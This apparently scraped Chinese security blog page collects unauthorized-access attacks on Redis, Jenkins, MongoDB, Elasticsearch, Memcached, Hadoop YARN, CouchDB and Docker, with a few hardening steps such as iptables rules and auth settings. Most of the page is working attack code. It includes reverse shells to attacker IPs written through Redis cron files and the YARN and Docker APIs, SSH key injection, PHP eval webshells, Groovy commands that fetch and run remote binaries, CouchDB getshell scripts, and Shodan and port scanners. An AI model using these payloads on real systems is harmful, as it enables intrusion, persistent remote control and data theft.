1
2
3
4

cp redis.conf ./src/redis.conf
bind 127.0.0.1前面加上#号注释掉 或者更改成 0.0.0.0
protected-mode设为no
启动redis-server  ------>   ./src/redis-server redis.conf

1
2
3
4
5
6
7
8
9

查看信息：info
删除所有数据库内容：flushall
刷新数据库：flushdb
看所有键：KEYS *，使用select num可以查看键值数据。
设置变量：set test "who am i"
config set dir dirpath 设置路径等配置
config get dir/dbfilename 获取路径及数据配置信息
save保存
get 变量，查看变量名称

1
2
3

auxiliary/scanner/redis/file_upload
auxiliary/scanner/redis/redis_login
auxiliary/scanner/redis/redis_server

1
2
3
4
5

root@kali:~# redis-cli -h 192.168.63.130
192.168.63.130:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
192.168.63.130:6379> config set dir /var/spool/cron/
192.168.63.130:6379> config set dbfilename root
192.168.63.130:6379> save

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

ssh-keygen -t rsa
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
cat foo.txt | redis-cli -h x.x.x.x -x set crackit
redis-cli -h x.x.x.x
> config set dir /root/.ssh/
> config get dir
> config set dbfilename "authorized_keys"
> save

ssh -i id_rsa root@x.x.x.x

1
2
3
4
5

192.168.63.130:6379> config set dir /root/.ssh/
192.168.63.130:6379> config set dbfilename authorized_keys
192.168.63.130:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"

192.168.63.130:6379> save

1
2
3
4

192.168.63.130:6379> config set dir /var/www/html/
192.168.63.130:6379> config set dbfilename shell.php
192.168.63.130:6379> set x "<?php @eval($_POST[1]);?>"
192.168.63.130:6379> save

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

local function hex2bin(hexstr)
    local str = ""
    for i = 1, string.len(hexstr) - 1, 2 do
        local doublebytestr = string.sub(hexstr, i, i+1);
        local n = tonumber(doublebytestr, 16);
        if 0 == n then
            str = str .. '\00'
        else
            str = str .. string.format("%c", n)
        end
    end
    return str
end

local dir = redis.call('config','get','dir')
redis.call('config','set','dir','/tmp/')
local dbfilename = redis.call('config','get','dbfilename')
redis.call('config','set','dbfilename','t')
local rdbcompress = redis.call('config','get','rdbcompression')
redis.call('config','set','rdbcompression','no')
redis.call('flushall')

local data = '1a2b3c4d5e6f1223344556677890aa'
redis.call('set','data',hex2bin('0a7c7c7c'..data..'7c7c7c0a'))
local rst = {}
rst[1] = 'server default config'
rst[2] = 'dir:'..dir[2]
rst[3] = 'dbfilename:'..dbfilename[2]
rst[4] = 'rdbcompression:'..rdbcompress[2]
return rst
保存以上代码为a.lua，变量data保存的是程序的16进制编码，执行

1
2
3
4

redis-cli save -h *.*.*.*
redis-cli config set dir *** -h *.*.*.*
redis-cli config set dbfilename *** -h *.*.*.*
redis-cli config set rdbcompression * -h *.*.*.*

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

执行命令
需要root权限，每次添加计划任务前先获取服务器时间，然后根据获取的时间设置执行计划任务的时间，确保命令被执行一次，避免多次执行引发服务器异常。
    python redis_exp.py --host *.*.*.* -c 'id'

上传文件
上传携带脏数据的文件不需要root权限，上传二进制文件需要root权限，先上传带有脏数据的文件，在文件前后插入特征字符串，然后添加计划任务截取数据
    python redis_exp.py --host *.*.*.* -l /data/payload.py -r /tmp/p.py

暴力猜解目录
不需要root权限，利用 config set dir 'xx' 报错进行目录猜解
    python redis_exp.py --host *.*.*.* -f p.txt

可以通过-p参数更改默认端口，-t参数更改等待时间

1
2
3

rename-command FLUSHALL ""
rename-command CONFIG   ""
rename-command EVAL     ""

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

// accept
# iptables -A INPUT -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT
# iptables -A INPUT -p udp -s 127.0.0.1 --dport 6379 -j ACCEPT

// drop
# iptables -I INPUT -p tcp --dport 6379 -j DROP
# iptables -I INPUT -p udp --dport 6379 -j DROP

// 保存规则并重启 iptables
# service iptables save
# service iptables restart

1
2
3

println "wget http://192.168.3.131:8081/exp -P /tmp/".execute().text
println "chmod +x /tmp/exp".execute().text
println "/tmp/exp".execute().text

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

1. println "wget http://shell.com/shell.txt -P /var/www/html/".execute().text

2. new File("/var/www/html/shell.php").write('<?php @eval($_POST[shell]);?>');

3.
def webshell = '<?php @eval($_POST[shell]);?>'
new File("/var/www/html/shell.php").write("$webshell");

4.
def execute(cmd) {
def proc = cmd.execute()
proc.waitFor()
}
execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /var/www/html/shell.php' ] )
execute( [ 'bash', '-c', 'echo "_POST[shell]);?>" >> /var/www/html/shell.php' ] )
//参数-n 不要在最后自动换行

1
2
3
4
5
6
7
8
9

try{

text = new File("/etc/passwd").getText();

out.print text

} catch(Exception e){

}

1
2
3
4
5

def sout = new StringBuilder(), serr = new StringBuilder()
def proc = 'cat /etc/passwd'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

1
2
3

id
uname -a
cat /etc/passwd

1
2
3
4
5
6
7
8

vim /etc/mongodb.conf
dbpath = /data/
logpath = /var/logs/mongodb.log
#port = 27017
#fork = true
bind_ip = 0.0.0.0

./mongod –config mongodb.conf //启动mongodb加载配置mongodb.conf

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

import socket
import sys
import pymongo

ipcons = []
def Scanner(ip):
    global ipcons
    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sk.settimeout(0.3)
    try:
        sk.connect((ip,27017))
        ipcons.append(ip)
        sk.close()
    except Exception:
        pass

def ip2num(ip):
    ip=[int(x) for x in ip.split('.')]
    return ip[0] <<24 | ip[1]<<16 | ip[2]<<8 |ip[3]

def num2ip(num):
    return '%s.%s.%s.%s' %( (num & 0xff000000) >>24,
                                (num & 0x00ff0000) >>16,
                                (num & 0x0000ff00) >>8,
                                num & 0x000000ff )

def get_ip(ip):
    start,end = [ip2num(x) for x in ip.split(' ') ]
    return [ num2ip(num) for num in range(start,end+1) if num & 0xff ]

startIp = sys.argv[1]
endIp = sys.argv[2]
iplist = get_ip(sys.argv[1]+" "+sys.argv[2])
for i in iplist:
    Scanner(i)

def connMon(ip_addr):
    print ' Connect mongodb: ' + ip_addr + ':27017'
    try:
        conn = pymongo.MongoClient(ip_addr,27017,socketTimeoutMS=3000)
        dbname = conn.database_names()
        print "success"
    except Exception as e:
        print "error"

print ipcons
for ipaddr in ipcons:
    connMon(ipaddr)
    print "================="

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

#!/usr/bin/python
# -*- coding: UTF-8 -*-
'''
@Author：joy_nick
@博客：http://byd.dropsec.xyz/
'''
import shodan
import os
iplist = []
ip_list = []
shodan_ip_list = []
def shodanSearch(keywords):
    SHODAN_API_KEY = "your key"
    api = shodan.Shodan(SHODAN_API_KEY)
    total = 0
    try:
        results = api.search(keywords)
        total = int(results['total'])
        for result in results['matches']:
            #iplist.append({"ip":result['ip_str'],"country":result['location']['country_name']})
            iplist.append(result['ip_str'])
            for i in range(len(iplist)):
                ip_list = iplist[i].encode('utf-8')
                shodan_ip_list.append(ip_list)
                s = '\n'.join(shodan_ip_list)
                with open('shodan_ip_list.txt','w') as output:
                    output.write(s)
    except shodan.APIError, e:
        print 'Error: %s' % e
if __name__ == '__main__':
    shodanSearch('redis')

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

mongo --port 27017

  use admin

  db.createUser(
    {
      user: "adminUser",
      pwd: "adminPass",
      roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]
    }
  )

1
2

/etc/mongodb.conf　　
auth = true　

1
2

nmap -sS -p2181 -oG zookeeper.gnmap 192.168.1.0/24
grep "Ports: 2181/open/tcp" zookeeper.gnmap | cut -f 2 -d ' ' > Live.txt

1
2
3

$ curl http://127.0.0.1:9200/_cat/indices/

{ "status" : 200, "name" : "Flake", "cluster_name" : "elasticsearch", "version" : {"number" : "1.4.1"," "build_hash" : "b88f43fc40b0bcd7f173xxxxx2e97816de80b19", "build_timestamp" : "2015-07-29T09:54:16Z", "build_snapshot" : false, "lucene_version" : "4.10.4"}, "tagline" : "You Know, for Search"}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

#! /usr/bin/env python
# _*_  coding:utf-8 _*_

import requests
def Elasticsearch_check(ip, port=9200, timeout=5):
    try:
    　　url = "http://"+ip+":"+str(port)+"/_cat"
    　　response = requests.get(url)
    except:
    　　pass
    if "/_cat/master" in response.content:
    　　print '[+] Elasticsearch Unauthorized: ' +ip+':'+str(port)

if __name__ == '__main__':
    Elasticsearch_check("127.0.0.1")

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

// accept
# iptables -A INPUT -p tcp -s 127.0.0.1 --dport 9200 -j ACCEPT
# iptables -A INPUT -p udp -s 127.0.0.1 --dport 9200 -j ACCEPT

// drop
# iptables -I INPUT -p tcp --dport 9200 -j DROP
# iptables -I INPUT -p udp --dport 9200 -j DROP

// 保存规则并重启 iptables
# service iptables save
# service iptables restart

1
2
3
4
5
6
7

http.basic.enabled     true     #开关，开启会接管全部HTTP连接
http.basic.user     "admin"     #账号
http.basic.password     "admin_pw"     #密码
http.basic.ipwhitelist     ["localhost", "127.0.0.1"]     #白名单内的ip访问不需要通过账号和密码，支持ip和主机名，不支持ip区间或正则
http.basic.trusted_proxy_chains     []     #信任代理列表
http.basic.log     false     #把无授权的访问事件添加到ES的日志
http.basic.xforward     ""     #记载代理路径的header字段名

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
def Memcache_check(ip, port=11211, timeout=5):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("stats\r\n")
        result = s.recv(1024)
        if "STAT version" in result:
            print '[+] Memcache Unauthorized: ' +ip+':'+str(port)
    except Exception, e:
        pass
if __name__ == '__main__':
    Elasticsearch_check("127.0.0.1")

1
2
3
4

stats  //查看memcache 服务状态
stats items  //查看所有items
stats cachedump 32 0  //获得缓存key
get :state:264861539228401373:261588   //通过key读取相应value ，获得实际缓存内容，造成敏感信息泄露

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

// accept
# iptables -A INPUT -p tcp -s 127.0.0.1 --dport 11211 -j ACCEPT
# iptables -A INPUT -p udp -s 127.0.0.1 --dport 11211 -j ACCEPT

// drop
# iptables -I INPUT -p tcp --dport 11211 -j DROP
# iptables -I INPUT -p udp --dport 11211 -j DROP

// 保存规则并重启 iptables
# service iptables save
# service iptables restart

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22

#!/usr/bin/env python

import requests

target = 'http://127.0.0.1:8088/'
lhost = '192.168.0.1' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

1
2
3
4
5
6
7

[query_servers]
LANGUAGE = PATH ARGS
默认情况下，配置文件中已经设置了两个query_servers:

[query_servers]
javascript = /usr/bin/couchjs /usr/share/couchdb/server/main.js
coffeescript = /usr/bin/couchjs /usr/share/couchdb/server/main-coffee.js

1
2
3
4

curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'

1
2

curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

1

curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json"

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

#!/usr/bin/env python3
import requests
from requests.auth import HTTPBasicAuth

target = 'http://127.0.0.1:5984'
command = '"bash -i >& /dev/tcp/192.168.2.64/2222 0>&1"'
version = 2

session = requests.session()
session.headers = {
    'Content-Type': 'application/json'
}
# session.proxies = {
#     'http': 'http://127.0.0.1:8085'
# }
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
  "type": "user",
  "name": "wooyun",
  "roles": ["_admin"],
  "roles": [],
  "password": "wooyun"
}''')

session.auth = HTTPBasicAuth('wooyun', 'wooyun')

if version == 1:
    session.put(target + ('/_config/query_servers/cmd'), data=command)
else:
    host = session.get(target + '/_membership').json()['all_nodes'][0]
    session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=command)

session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')

if version == 1:
    session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
    session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

#!/bin/bash

echo CouchDB getshell - c0debreak - tools.changesec.com
echo

if [[ $# -ne 2 ]];then
    echo Usage: $0 http://xx.xx.xx.xx:5984 myserver:myport
    exit 1
else
    server=$1
    cb=${2/:/\/}
fi

function run() {
    cmd=$1

    curl -XPUT "$server/_config/query_servers/cmd" -d "\"$cmd\""
    curl -XPUT "$server/example"
    curl -XPUT "$server/example/record" -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
    curl --max-time 1 "$server/example/_temp_view?limit=1" -d '{"language":"cmd", "map":""}' -H 'Content-Type: application/json'
}

run "echo '/bin/bash -i >& /dev/tcp/$cb 0>&1' > /tmp/shell"
run "bash /tmp/shell"
run "rm -f /tmp/shell"

curl -XDELETE "$server/_config/query_servers/cmd"

1
2

sudo service docker stop
sudo docker daemon  -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock

1
2
3
4

import docker

client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})